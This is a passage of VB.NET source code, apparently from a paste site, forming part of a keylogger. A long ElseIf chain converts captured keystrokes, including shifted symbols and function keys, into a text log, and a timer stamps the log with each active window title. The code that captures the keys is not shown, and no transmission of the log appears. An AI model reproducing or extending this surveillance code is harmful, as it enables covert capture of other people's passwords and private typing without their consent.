  615.             ElseIf Key = Keys.I Then
  616.                 TextBox1.Text = TextBox1.Text & "i"
  617.             ElseIf Key = Keys.J Then
  618.                 TextBox1.Text = TextBox1.Text & "j"
  619.             ElseIf Key = Keys.K Then
  620.                 TextBox1.Text = TextBox1.Text & "k"
  621.             ElseIf Key = Keys.L Then
  622.                 TextBox1.Text = TextBox1.Text & "l"
  623.             ElseIf Key = Keys.M Then
  624.                 TextBox1.Text = TextBox1.Text & "m"
  625.             ElseIf Key = Keys.N Then
  626.                 TextBox1.Text = TextBox1.Text & "n"
  627.             ElseIf Key = Keys.O Then
  628.                 TextBox1.Text = TextBox1.Text & "o"
  629.             ElseIf Key = Keys.P Then
  630.                 TextBox1.Text = TextBox1.Text & "p"
  631.             ElseIf Key = Keys.Q Then
  632.                 TextBox1.Text = TextBox1.Text & "q"
  633.             ElseIf Key = Keys.R Then
  634.                 TextBox1.Text = TextBox1.Text & "r"
  635.             ElseIf Key = Keys.S Then
  636.                 TextBox1.Text = TextBox1.Text & "s"
  637.             ElseIf Key = Keys.T Then
  638.                 TextBox1.Text = TextBox1.Text & "t"
  639.             ElseIf Key = Keys.U Then
  640.                 TextBox1.Text = TextBox1.Text & "u"
  641.             ElseIf Key = Keys.V Then
  642.                 TextBox1.Text = TextBox1.Text & "v"
  643.             ElseIf Key = Keys.W Then
  644.                 TextBox1.Text = TextBox1.Text & "w"
  645.             ElseIf Key = Keys.X Then
  646.                 TextBox1.Text = TextBox1.Text & "x"
  647.             ElseIf Key = Keys.Y Then
  648.                 TextBox1.Text = TextBox1.Text & "y"
  649.             ElseIf Key = Keys.Z Then
  650.                 TextBox1.Text = TextBox1.Text & "z"
  651.             ElseIf Key = Keys.Oemcomma Then
  652.                 TextBox1.Text = TextBox1.Text & ","
  653.             ElseIf Key = Keys.OemMinus Then
  654.                 TextBox1.Text = TextBox1.Text & "-"
  655.             ElseIf Key = Keys.OemQuotes Then
  656.                 TextBox1.Text = TextBox1.Text & "'"
  657.             ElseIf Key = Keys.OemOpenBrackets Then
  658.                 TextBox1.Text = TextBox1.Text & "["
  659.             ElseIf Key = Keys.OemCloseBrackets Then
  660.                 TextBox1.Text = TextBox1.Text & "]"
  661.             ElseIf Key = Keys.OemQuestion Then
  662.                 TextBox1.Text = TextBox1.Text & "/"
  663.             ElseIf Key = Keys.OemPipe Then
  664.                 TextBox1.Text = TextBox1.Text & "\"
  665.             ElseIf Key = Keys.Oem1 Then
  666.                 TextBox1.Text = TextBox1.Text & ";"
  667.             ElseIf Key = Keys.OemPeriod Then
  668.                 TextBox1.Text = TextBox1.Text & "."
  669.             ElseIf Key = Keys.Oemtilde Then
  670.                 TextBox1.Text = TextBox1.Text & "`"
  671.             ElseIf Key = Keys.Space Then
  672.                 TextBox1.Text = TextBox1.Text & " "
  673.             ElseIf Key = Keys.Enter Then
  674.                 TextBox1.Text = TextBox1.Text & vbNewLine
  675.             ElseIf Key = Keys.F1 Then
  676.                 TextBox1.Text = TextBox1.Text & "[F1]"
  677.             ElseIf Key = Keys.F2 Then
  678.                 TextBox1.Text = TextBox1.Text & "[F2]"
  679.             ElseIf Key = Keys.F3 Then
  680.                 TextBox1.Text = TextBox1.Text & "[F3]"
  681.             ElseIf Key = Keys.F4 Then
  682.                 TextBox1.Text = TextBox1.Text & "[F4]"
  683.             ElseIf Key = Keys.F5 Then
  684.                 TextBox1.Text = TextBox1.Text & "[F5]"
  685.             ElseIf Key = Keys.F6 Then
  686.                 TextBox1.Text = TextBox1.Text & "[F6]"
  687.             ElseIf Key = Keys.F7 Then
  688.                 TextBox1.Text = TextBox1.Text & "[F7]"
  689.             ElseIf Key = Keys.F8 Then
  690.                 TextBox1.Text = TextBox1.Text & "[F8]"
  691.             ElseIf Key = Keys.F9 Then
  692.                 TextBox1.Text = TextBox1.Text & "[F9]"
  693.             ElseIf Key = Keys.F10 Then
  694.                 TextBox1.Text = TextBox1.Text & "[F10]"
  695.             ElseIf Key = Keys.F11 Then
  696.                 TextBox1.Text = TextBox1.Text & "[F11]"
  697.             ElseIf Key = Keys.F12 Then
  698.                 TextBox1.Text = TextBox1.Text & "[F12]"
  699.             ElseIf Key = Keys.Delete Then
  700.                 TextBox1.Text = TextBox1.Text & "[DEL]"
  701.             ElseIf Key = Keys.Back Then
  702.                 TextBox1.Text = TextBox1.Text & "[DEL]"
  703.             ElseIf Key = Keys.Down Then
  704.                 TextBox1.Text = TextBox1.Text & "?"
  705.             ElseIf Key = Keys.Up Then
  706.                 TextBox1.Text = TextBox1.Text & "?"
  707.             ElseIf Key = Keys.Left Then
  708.                 TextBox1.Text = TextBox1.Text & "?"
  709.             ElseIf Key = Keys.Right Then
  710.                 TextBox1.Text = TextBox1.Text & "?"
  711.             ElseIf Key = Keys.Tab Then
  712.                 TextBox1.Text = TextBox1.Text & "[TAB]"
  713.             ElseIf Key = Keys.End Then
  714.                 TextBox1.Text = TextBox1.Text & "[END]"
  715.             ElseIf Key = Keys.Escape Then
  716.                 TextBox1.Text = TextBox1.Text & "[ESC]"
  717.             ElseIf Key = Keys.Divide Then
  718.                 TextBox1.Text = TextBox1.Text & "/"
  719.             ElseIf Key = Keys.Decimal Then
  720.                 TextBox1.Text = TextBox1.Text & "."
  721.             ElseIf Key = Keys.Subtract Then
  722.                 TextBox1.Text = TextBox1.Text & "-"
  723.             ElseIf Key = Keys.Add Then
  724.                 TextBox1.Text = TextBox1.Text & "+"
  725.             ElseIf Key = Keys.Multiply Then
  726.                 TextBox1.Text = TextBox1.Text & "*"
  727.             End If
  728.         ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
  729.             If Key = Keys.D1 Then
  730.                 TextBox1.Text = TextBox1.Text + "!"
  731.             ElseIf Key = Keys.D2 Then
  732.                 TextBox1.Text = TextBox1.Text + "@"
  733.             ElseIf Key = Keys.D3 Then
  734.                 TextBox1.Text = TextBox1.Text + "#"
  735.             ElseIf Key = Keys.D4 Then
  736.                 TextBox1.Text = TextBox1.Text + "$"
  737.             ElseIf Key = Keys.D5 Then
  738.                 TextBox1.Text = TextBox1.Text + "%"
  739.             ElseIf Key = Keys.D6 Then
  740.                 TextBox1.Text = TextBox1.Text + "^"
  741.             ElseIf Key = Keys.D7 Then
  742.                 TextBox1.Text = TextBox1.Text + "&"
  743.             ElseIf Key = Keys.D8 Then
  744.                 TextBox1.Text = TextBox1.Text + "*"
  745.             ElseIf Key = Keys.D9 Then
  746.                 TextBox1.Text = TextBox1.Text + "("
  747.             ElseIf Key = Keys.D0 Then
  748.                 TextBox1.Text = TextBox1.Text + ")"
  749.             ElseIf Key = Keys.A Then
  750.                 TextBox1.Text = TextBox1.Text & "A"
  751.             ElseIf Key = Keys.B Then
  752.                 TextBox1.Text = TextBox1.Text & "B"
  753.             ElseIf Key = Keys.C Then
  754.                 TextBox1.Text = TextBox1.Text & "C"
  755.             ElseIf Key = Keys.D Then
  756.                 TextBox1.Text = TextBox1.Text & "D"
  757.             ElseIf Key = Keys.E Then
  758.                 TextBox1.Text = TextBox1.Text & "E"
  759.             ElseIf Key = Keys.F Then
  760.                 TextBox1.Text = TextBox1.Text & "F"
  761.             ElseIf Key = Keys.G Then
  762.                 TextBox1.Text = TextBox1.Text & "G"
  763.             ElseIf Key = Keys.H Then
  764.                 TextBox1.Text = TextBox1.Text & "H"
  765.             ElseIf Key = Keys.I Then
  766.                 TextBox1.Text = TextBox1.Text & "I"
  767.             ElseIf Key = Keys.J Then
  768.                 TextBox1.Text = TextBox1.Text & "J"
  769.             ElseIf Key = Keys.K Then
  770.                 TextBox1.Text = TextBox1.Text & "K"
  771.             ElseIf Key = Keys.L Then
  772.                 TextBox1.Text = TextBox1.Text & "L"
  773.             ElseIf Key = Keys.M Then
  774.                 TextBox1.Text = TextBox1.Text & "M"
  775.             ElseIf Key = Keys.N Then
  776.                 TextBox1.Text = TextBox1.Text & "N"
  777.             ElseIf Key = Keys.O Then
  778.                 TextBox1.Text = TextBox1.Text & "O"
  779.             ElseIf Key = Keys.P Then
  780.                 TextBox1.Text = TextBox1.Text & "P"
  781.             ElseIf Key = Keys.Q Then
  782.                 TextBox1.Text = TextBox1.Text & "Q"
  783.             ElseIf Key = Keys.R Then
  784.                 TextBox1.Text = TextBox1.Text & "R"
  785.             ElseIf Key = Keys.S Then
  786.                 TextBox1.Text = TextBox1.Text & "S"
  787.             ElseIf Key = Keys.T Then
  788.                 TextBox1.Text = TextBox1.Text & "T"
  789.             ElseIf Key = Keys.U Then
  790.                 TextBox1.Text = TextBox1.Text & "U"
  791.             ElseIf Key = Keys.V Then
  792.                 TextBox1.Text = TextBox1.Text & "V"
  793.             ElseIf Key = Keys.W Then
  794.                 TextBox1.Text = TextBox1.Text & "W"
  795.             ElseIf Key = Keys.X Then
  796.                 TextBox1.Text = TextBox1.Text & "X"
  797.             ElseIf Key = Keys.Y Then
  798.                 TextBox1.Text = TextBox1.Text & "Y"
  799.             ElseIf Key = Keys.Z Then
  800.                 TextBox1.Text = TextBox1.Text & "Z"
  801.             ElseIf Key = Keys.Oemcomma Then
  802.                 TextBox1.Text = TextBox1.Text & "<"
  803.             ElseIf Key = Keys.OemMinus Then
  804.                 TextBox1.Text = TextBox1.Text & "_"
  805.             ElseIf Key = Keys.OemOpenBrackets Then
  806.                 TextBox1.Text = TextBox1.Text & "{"
  807.             ElseIf Key = Keys.OemCloseBrackets Then
  808.                 TextBox1.Text = TextBox1.Text & "}"
  809.             ElseIf Key = Keys.OemQuestion Then
  810.                 TextBox1.Text = TextBox1.Text & "?"
  811.             ElseIf Key = Keys.OemPipe Then
  812.                 TextBox1.Text = TextBox1.Text & "|"
  813.             ElseIf Key = Keys.Oem1 Then
  814.                 TextBox1.Text = TextBox1.Text & ":"
  815.             ElseIf Key = Keys.OemPeriod Then
  816.                 TextBox1.Text = TextBox1.Text & ">"
  817.             ElseIf Key = Keys.Oemtilde Then
  818.                 TextBox1.Text = TextBox1.Text & "~"
  819.             ElseIf Key = Keys.Space Then
  820.                 TextBox1.Text = TextBox1.Text & " "
  821.             ElseIf Key = Keys.Enter Then
  822.                 TextBox1.Text = TextBox1.Text & vbNewLine
  823.             ElseIf Key = Keys.F1 Then
  824.                 TextBox1.Text = TextBox1.Text & "[F1]"
  825.             ElseIf Key = Keys.F2 Then
  826.                 TextBox1.Text = TextBox1.Text & "[F2]"
  827.             ElseIf Key = Keys.F3 Then
  828.                 TextBox1.Text = TextBox1.Text & "[F3]"
  829.             ElseIf Key = Keys.F4 Then
  830.                 TextBox1.Text = TextBox1.Text & "[F4]"
  831.             ElseIf Key = Keys.F5 Then
  832.                 TextBox1.Text = TextBox1.Text & "[F5]"
  833.             ElseIf Key = Keys.F6 Then
  834.                 TextBox1.Text = TextBox1.Text & "[F6]"
  835.             ElseIf Key = Keys.F7 Then
  836.                 TextBox1.Text = TextBox1.Text & "[F7]"
  837.             ElseIf Key = Keys.F8 Then
  838.                 TextBox1.Text = TextBox1.Text & "[F8]"
  839.             ElseIf Key = Keys.F9 Then
  840.                 TextBox1.Text = TextBox1.Text & "[F9]"
  841.             ElseIf Key = Keys.F10 Then
  842.                 TextBox1.Text = TextBox1.Text & "[F10]"
  843.             ElseIf Key = Keys.F11 Then
  844.                 TextBox1.Text = TextBox1.Text & "[F11]"
  845.             ElseIf Key = Keys.F12 Then
  846.                 TextBox1.Text = TextBox1.Text & "[F12]"
  847.             ElseIf Key = Keys.Delete Then
  848.                 TextBox1.Text = TextBox1.Text & "[DEL]"
  849.             ElseIf Key = Keys.Back Then
  850.                 TextBox1.Text = TextBox1.Text & "[DEL]"
  851.             ElseIf Key = Keys.Down Then
  852.                 TextBox1.Text = TextBox1.Text & "?"
  853.             ElseIf Key = Keys.Up Then
  854.                 TextBox1.Text = TextBox1.Text & "?"
  855.             ElseIf Key = Keys.Left Then
  856.                 TextBox1.Text = TextBox1.Text & "?"
  857.             ElseIf Key = Keys.Right Then
  858.                 TextBox1.Text = TextBox1.Text & "?"
  859.             ElseIf Key = Keys.Tab Then
  860.                 TextBox1.Text = TextBox1.Text & "[TAB]"
  861.             ElseIf Key = Keys.End Then
  862.                 TextBox1.Text = TextBox1.Text & "[END]"
  863.             ElseIf Key = Keys.Escape Then
  864.                 TextBox1.Text = TextBox1.Text & "[ESC]"
  865.             ElseIf Key = Keys.Divide Then
  866.                 TextBox1.Text = TextBox1.Text & "/"
  867.             ElseIf Key = Keys.Decimal Then
  868.                 TextBox1.Text = TextBox1.Text & "."
  869.             ElseIf Key = Keys.Subtract Then
  870.                 TextBox1.Text = TextBox1.Text & "-"
  871.             ElseIf Key = Keys.Add Then
  872.                 TextBox1.Text = TextBox1.Text & "+"
  873.             ElseIf Key = Keys.Multiply Then
  874.                 TextBox1.Text = TextBox1.Text & "*"
  875.             ElseIf Key = Keys.OemQuotes Then
  876.                 TextBox1.Text = TextBox1.Text & Label1.Text
  877.             End If
  878.         End If
  879.     End Sub
  880.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  881.         Timer1.Start()
  882.     End Sub
  883.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  884.         If strin <> GetActiveWindowTitle() Then
  885.             TextBox1.Text = TextBox1.Text + vbNewLine & "[------" & GetActiveWindowTitle() & "------]" + vbNewLine
  886.             strin = GetActiveWindowTitle()
  887.         End If
  888.     End Sub
  889. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement